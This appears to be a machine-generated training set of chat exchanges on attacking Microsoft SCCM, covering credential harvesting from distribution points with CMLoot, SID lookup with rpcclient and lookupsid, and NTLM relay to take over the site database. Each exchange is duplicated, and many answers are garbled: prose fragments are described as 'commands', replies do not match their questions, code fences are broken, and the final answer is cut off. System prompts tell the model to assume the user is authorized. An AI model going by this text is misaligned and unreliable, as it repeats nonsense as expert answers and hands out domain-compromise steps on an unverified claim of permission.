[Assistant] If anonymous access is enabled on the Distribution Point, [sccm-http-looter](https://github.com/badsectorlabs/sccm-http-looter) (Golang) can also be used. It may be faster as it is written in Golang.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the If command for perform file dump attack via https and client certificate authentication

Response: If anonymous access is enabled on the Distribution Point, [sccm-http-looter](https://github.com/badsectorlabs/sccm-http-looter) (Golang) can also be used. It may be faster as it is written in Golang.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Perform file dump attack via HTTPS and client certificate authentication

[Assistant] If anonymous access is enabled on the Distribution Point, [sccm-http-looter](https://github.com/badsectorlabs/sccm-http-looter) (Golang) can also be used. It may be faster as it is written in Golang.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Perform file dump attack via HTTPS and client certificate authentication

Response: If anonymous access is enabled on the Distribution Point, [sccm-http-looter](https://github.com/badsectorlabs/sccm-http-looter) (Golang) can also be used. It may be faster as it is written in Golang.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `If anonymous access is enabled on the Distribution Point, [sccm-http-looter](https://github.com/badsectorlabs/sccm-http-looter) (Golang) can also be used. It may be faster as it is written in Golang.`?

[Assistant] This command is used for perform file dump attack via https and client certificate authentication. Perform file dump attack via HTTPS and client certificate authentication

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `If anonymous access is enabled on the Distribution Point, [sccm-http-looter](https://github.com/badsectorlabs/sccm-http-looter) (Golang) can also be used. It may be faster as it is written in Golang.`?

Response: This command is used for perform file dump attack via https and client certificate authentication. Perform file dump attack via HTTPS and client certificate authentication


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the This syntax for perform file dump attack via https and client certificate authentication?

[Assistant] This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the This syntax for perform file dump attack via https and client certificate authentication?

Response: This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Perform file dump attack via HTTPS and client certificate authentication

[Assistant] This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.`?

[Assistant] This command is used for perform file dump attack via https and client certificate authentication. Perform file dump attack via HTTPS and client certificate authentication

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.`?

Response: This command is used for perform file dump attack via https and client certificate authentication. Perform file dump attack via HTTPS and client certificate authentication


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Credential harvesting - SMB?

[Assistant]
Regarding the SMB protocol, cmloot.py (Python) can be used to dump files.
```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Credential harvesting - SMB?

Response:
Regarding the SMB protocol, cmloot.py (Python) can be used to dump files.
```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Credential harvesting - SMB during a pentest?

[Assistant]
Regarding the SMB protocol, cmloot.py (Python) can be used to dump files.
```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Credential harvesting - SMB during a pentest?

Response:
Regarding the SMB protocol, cmloot.py (Python) can be used to dump files.
```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Enumerate SCCM servers, build inventory and download in the context of penetration testing

[Assistant]
python3 cmloot.py $DOMAIN/$USER@$TARGET -findsccmservers -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt
```

=== Windows-based

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Enumerate SCCM servers, build inventory and download in the context of penetration testing

Response:
python3 cmloot.py $DOMAIN/$USER@$TARGET -findsccmservers -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt
```

=== Windows-based


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Enumerate SCCM servers, build inventory and download

[Assistant]
python3 cmloot.py $DOMAIN/$USER@$TARGET -findsccmservers -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt
```

=== Windows-based

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Enumerate SCCM servers, build inventory and download

Response:
python3 cmloot.py $DOMAIN/$USER@$TARGET -findsccmservers -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt
```

=== Windows-based


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Credential harvesting - SMB

[Assistant]
On Windows, CMLoot (Powershell) was the original implementation of the attack in Powershell.

```powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Credential harvesting - SMB

Response:
On Windows, CMLoot (Powershell) was the original implementation of the attack in Powershell.

```powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Credential harvesting - SMB?

[Assistant]
On Windows, CMLoot (Powershell) was the original implementation of the attack in Powershell.

```powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Credential harvesting - SMB?

Response:
On Windows, CMLoot (Powershell) was the original implementation of the attack in Powershell.

```powershell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Index available files work?

[Assistant] Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Index available files

[Assistant] Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Index available files

Response: Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Download a single file in the context of penetration testing

[Assistant] Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Download a single file in the context of penetration testing

Response: Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Download a single file

[Assistant] Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Download all files with a specific extension

[Assistant]
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension ps1
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Download all files with a specific extension

Response:
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension ps1
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Download all files with a specific extension

[Assistant]
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension ps1
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Download all files with a specific extension

Response:
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension ps1
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Privilege escalation - Theory

[Assistant]
There are currently three different pathways for privilege escalation in an SCCM environment in order to take control over the infrastructure:

* Credential harvesting
* Client Push account authentication coercion
* SCCM site takeover

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Privilege escalation - Theory

Response:
There are currently three different pathways for privilege escalation in an SCCM environment in order to take control over the infrastructure:

* Credential harvesting
* Client Push account authentication coercion
* SCCM site takeover


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Privilege escalation - Theory?

[Assistant]
There are currently three different pathways for privilege escalation in an SCCM environment in order to take control over the infrastructure:

* Credential harvesting
* Client Push account authentication coercion
* SCCM site takeover

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Privilege escalation - Theory?

Response:
There are currently three different pathways for privilege escalation in an SCCM environment in order to take control over the infrastructure:

* Credential harvesting
* Client Push account authentication coercion
* SCCM site takeover


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Privilege escalation - Credential harvesting?

[Assistant]
An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.

> [!TIP]
> Read the credential harvesting article for detailed information on harvesting secrets from SCCM policies and Distribution Points.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Privilege escalation - Credential harvesting?

Response:
An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.

> [!TIP]
> Read the credential harvesting article for detailed information on harvesting secrets from SCCM policies and Distribution Points.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Privilege escalation - Credential harvesting during a pentest?

[Assistant]
An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.

> [!TIP]
> Read the credential harvesting article for detailed information on harvesting secrets from SCCM policies and Distribution Points.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Privilege escalation - Credential harvesting during a pentest?

Response:
An SCCM infrastructure may contain a wide range of cleartext credentials accessible from various levels of privileges. Some credentials can be associated with privileged accounts in the domain. From a privilege escalation perspective, we are interested in secrets retrievable using an SCCM client or a low-privilege account in the domain.

> [!TIP]
> Read the credential harvesting article for detailed information on harvesting secrets from SCCM policies and Distribution Points.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Privilege escalation - SCCM site takeover work?

[Assistant]
Some SCCM configurations make it possible to abuse the permissions of the site server / passive site server machine accounts in order to compromise the SCCM infrastructure via relay attacks.

> [!TIP]
> Read the site takeover article for detailed information on SCCM site takeover techniques.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Privilege escalation - SCCM site takeover work?

Response:
Some SCCM configurations make it possible to abuse the permissions of the site server / passive site server machine accounts in order to compromise the SCCM infrastructure via relay attacks.

> [!TIP]
> Read the site takeover article for detailed information on SCCM site takeover techniques.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Privilege escalation - SCCM site takeover?

[Assistant]
Some SCCM configurations make it possible to abuse the permissions of the site server / passive site server machine accounts in order to compromise the SCCM infrastructure via relay attacks.

> [!TIP]
> Read the site takeover article for detailed information on SCCM site takeover techniques.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Privilege escalation - SCCM site takeover?

Response:
Some SCCM configurations make it possible to abuse the permissions of the site server / passive site server machine accounts in order to compromise the SCCM infrastructure via relay attacks.

> [!TIP]
> Read the site takeover article for detailed information on SCCM site takeover techniques.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe SCCM site takeover - Relaying the primary site server in the context of penetration testing

[Assistant]
A site server machine account is required to be member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy (See SCCM Topology):

> The user account that installs the site must have the following permissions:
>
> * Administrator on the following servers:
>   * The site server
>   * Each SQL Server that hosts the site database
>   * Each instance of the SMS Provider for the site
>   * Sysadmin on the instance of SQL Server that hosts the site database
>
> _(source:_ _Microsoft.com__)_

As a result, NTLM authentication data can be obtained from an SCCM primary site server and relayed in order to obtain administrative access to the site database, or interact as a local administrator with the HTTP API on the SMS Provider. In both cases, this can lead to the full compromise of the SCCM infrastructure.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe SCCM site takeover - Relaying the primary site server in the context of penetration testing

Response:
A site server machine account is required to be member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy (See SCCM Topology):

> The user account that installs the site must have the following permissions:
>
> * Administrator on the following servers:
>   * The site server
>   * Each SQL Server that hosts the site database
>   * Each instance of the SMS Provider for the site
>   * Sysadmin on the instance of SQL Server that hosts the site database
>
> _(source:_ _Microsoft.com__)_

As a result, NTLM authentication data can be obtained from an SCCM primary site server and relayed in order to obtain administrative access to the site database, or interact as a local administrator with the HTTP API on the SMS Provider. In both cases, this can lead to the full compromise of the SCCM infrastructure.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform SCCM site takeover - Relaying the primary site server?

[Assistant]
A site server machine account is required to be member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy (See SCCM Topology):

> The user account that installs the site must have the following permissions:
>
> * Administrator on the following servers:
>   * The site server
>   * Each SQL Server that hosts the site database
>   * Each instance of the SMS Provider for the site
>   * Sysadmin on the instance of SQL Server that hosts the site database
>
> _(source:_ _Microsoft.com__)_

As a result, NTLM authentication data can be obtained from an SCCM primary site server and relayed in order to obtain administrative access to the site database, or interact as a local administrator with the HTTP API on the SMS Provider. In both cases, this can lead to the full compromise of the SCCM infrastructure.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform SCCM site takeover - Relaying the primary site server?

Response:
A site server machine account is required to be member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy (See SCCM Topology):

> The user account that installs the site must have the following permissions:
>
> * Administrator on the following servers:
>   * The site server
>   * Each SQL Server that hosts the site database
>   * Each instance of the SMS Provider for the site
>   * Sysadmin on the instance of SQL Server that hosts the site database
>
> _(source:_ _Microsoft.com__)_

As a result, NTLM authentication data can be obtained from an SCCM primary site server and relayed in order to obtain administrative access to the site database, or interact as a local administrator with the HTTP API on the SMS Provider. In both cases, this can lead to the full compromise of the SCCM infrastructure.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about SCCM site takeover - Relaying a passive site server?

[Assistant] As described by Garrett Foster in this article, when a passive site server is set up for high availability purpose, its machine account must be a member of the local Administrators group on the active site server. It must also be administrator on all the site system deployed in the site, including the MSSQL database. As a result, the same NTLM relaying attacks as described for primary site servers can be exploited in order to compromise the SCCM site database or gain privileged access to the HTTP API of the SMS Provider.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about SCCM site takeover - Relaying a passive site server?

Response: As described by Garrett Foster in this article, when a passive site server is set up for high availability purpose, its machine account must be a member of the local Administrators group on the active site server. It must also be administrator on all the site system deployed in the site, including the MSSQL database. As a result, the same NTLM relaying attacks as described for primary site servers can be exploited in order to compromise the SCCM site database or gain privileged access to the HTTP API of the SMS Provider.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out SCCM site takeover - Relaying a passive site server during a pentest?

[Assistant] As described by Garrett Foster in this article, when a passive site server is set up for high availability purpose, its machine account must be a member of the local Administrators group on the active site server. It must also be administrator on all the site system deployed in the site, including the MSSQL database. As a result, the same NTLM relaying attacks as described for primary site servers can be exploited in order to compromise the SCCM site database or gain privileged access to the HTTP API of the SMS Provider.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out SCCM site takeover - Relaying a passive site server during a pentest?

Response: As described by Garrett Foster in this article, when a passive site server is set up for high availability purpose, its machine account must be a member of the local Administrators group on the active site server. It must also be administrator on all the site system deployed in the site, including the MSSQL database. As a result, the same NTLM relaying attacks as described for primary site servers can be exploited in order to compromise the SCCM site database or gain privileged access to the HTTP API of the SMS Provider.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain SCCM site takeover - Practice

[Assistant]
> [!TIP]
> For more details about how these attacks work, refer to the article "SCCM Site Takeover via Automatic Client Push Installation" by Chris Thompson for the database attack, and "Site Takeover via SCCM's AdminService API" by Garrett Foster for the HTTP one.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!TIP]
> For more details about how these attacks work, refer to the article "SCCM Site Takeover via Automatic Client Push Installation" by Chris Thompson for the database attack, and "Site Takeover via SCCM's AdminService API" by Garrett Foster for the HTTP one.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on SCCM site takeover - Practice

[Assistant]
> [!TIP]
> For more details about how these attacks work, refer to the article "SCCM Site Takeover via Automatic Client Push Installation" by Chris Thompson for the database attack, and "Site Takeover via SCCM's AdminService API" by Garrett Foster for the HTTP one.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on SCCM site takeover - Practice

Response:
> [!TIP]
> For more details about how these attacks work, refer to the article "SCCM Site Takeover via Automatic Client Push Installation" by Chris Thompson for the database attack, and "Site Takeover via SCCM's AdminService API" by Garrett Foster for the HTTP one.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain SCCM site takeover - Relay to the MSSQL site database

[Assistant]
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * automatic site assignment and automatic site-wide client push installation are enabled
> * fallback to NTLM authentication is enabled (default)
> * the hotfix KB15599094 is not installed (it prevents the client push installation account to perform an NTLM connection to a client)
> * PKI certificates are not required for client authentication (default)
> * either:
>
>   * MSSQL is reachable on the site database server
>
> OR
>
>   * SMB is reachable and SMB signing isn't required on the site database server
>   * knowing the three-character site code for the SCCM site is required (step 3 below)
>   * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
>   * knowing the NetBIOS name, FQDN, or IP address of the site database server is required
>
> The first four requirements above apply to the client push installation coercion technique. But without them, a regular coercion technique could still be used (petitpotam, printerbug, etc.).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain SCCM site takeover - Relay to the MSSQL site database

Response:
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * automatic site assignment and automatic site-wide client push installation are enabled
> * fallback to NTLM authentication is enabled (default)
> * the hotfix KB15599094 is not installed (it prevents the client push installation account to perform an NTLM connection to a client)
> * PKI certificates are not required for client authentication (default)
> * either:
>
>   * MSSQL is reachable on the site database server
>
> OR
>
>   * SMB is reachable and SMB signing isn't required on the site database server
>   * knowing the three-character site code for the SCCM site is required (step 3 below)
>   * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
>   * knowing the NetBIOS name, FQDN, or IP address of the site database server is required
>
> The first four requirements above apply to the client push installation coercion technique. But without them, a regular coercion technique could still be used (petitpotam, printerbug, etc.).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SCCM site takeover - Relay to the MSSQL site database?

[Assistant]
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * automatic site assignment and automatic site-wide client push installation are enabled
> * fallback to NTLM authentication is enabled (default)
> * the hotfix KB15599094 is not installed (it prevents the client push installation account to perform an NTLM connection to a client)
> * PKI certificates are not required for client authentication (default)
> * either:
>
>   * MSSQL is reachable on the site database server
>
> OR
>
>   * SMB is reachable and SMB signing isn't required on the site database server
>   * knowing the three-character site code for the SCCM site is required (step 3 below)
>   * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
>   * knowing the NetBIOS name, FQDN, or IP address of the site database server is required
>
> The first four requirements above apply to the client push installation coercion technique. But without them, a regular coercion technique could still be used (petitpotam, printerbug, etc.).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute SCCM site takeover - Relay to the MSSQL site database?

Response:
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * automatic site assignment and automatic site-wide client push installation are enabled
> * fallback to NTLM authentication is enabled (default)
> * the hotfix KB15599094 is not installed (it prevents the client push installation account to perform an NTLM connection to a client)
> * PKI certificates are not required for client authentication (default)
> * either:
>
>   * MSSQL is reachable on the site database server
>
> OR
>
>   * SMB is reachable and SMB signing isn't required on the site database server
>   * knowing the three-character site code for the SCCM site is required (step 3 below)
>   * knowing the NetBIOS name, FQDN, or IP address of a site management point is required
>   * knowing the NetBIOS name, FQDN, or IP address of the site database server is required
>
> The first four requirements above apply to the client push installation coercion technique. But without them, a regular coercion technique could still be used (petitpotam, printerbug, etc.).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is SCCM site takeover - Step 1: retrieve the controlled user SID?

[Assistant]
The first step consists in retrieving the hexadecimal format of the user's SID (Security IDentifier) to grant "Full Administrator SCCM role" to, on the site database server. The hex formatted SID is needed in a part below: Step 4: Obtain an SQL console.

::: tabs

=== UNIX-like

From UNIX-like systems, the Samba utility named rpcclient can be used for this purpose.

``bash
rpcclient -c "lookupnames $USER" $TARGET_IP
`

Impacket's lookupsid (Python) can also be used to retrieve the user's SID.

`bash
lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"
`

The returned SID value is in canonical format and not hexadecimal, impacket can be used to convert it as follows.

`python
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is SCCM site takeover - Step 1: retrieve the controlled user SID?

Response:
The first step consists in retrieving the hexadecimal format of the user's SID (Security IDentifier) to grant "Full Administrator SCCM role" to, on the site database server. The hex formatted SID is needed in a part below: Step 4: Obtain an SQL console.

::: tabs

=== UNIX-like

From UNIX-like systems, the Samba utility named rpcclient can be used for this purpose.

``bash
rpcclient -c "lookupnames $USER" $TARGET_IP
`

Impacket's lookupsid (Python) can also be used to retrieve the user's SID.

`bash
lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"
`

The returned SID value is in canonical format and not hexadecimal, impacket can be used to convert it as follows.

`python
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through SCCM site takeover - Step 1: retrieve the controlled user SID

[Assistant]
The first step consists in retrieving the hexadecimal format of the user's SID (Security IDentifier) to grant "Full Administrator SCCM role" to, on the site database server. The hex formatted SID is needed in a part below: Step 4: Obtain an SQL console.

::: tabs

=== UNIX-like

From UNIX-like systems, the Samba utility named rpcclient can be used for this purpose.

``bash
rpcclient -c "lookupnames $USER" $TARGET_IP
`

Impacket's lookupsid (Python) can also be used to retrieve the user's SID.

`bash
lookupsid.py "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"
`

The returned SID value is in canonical format and not hexadecimal, impacket can be used to convert it as follows.

`python
from impacket.ldap import ldaptypes
sid=ldaptypes.LDAP_SID()
sid.fromCanonical('sid_value')
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

``

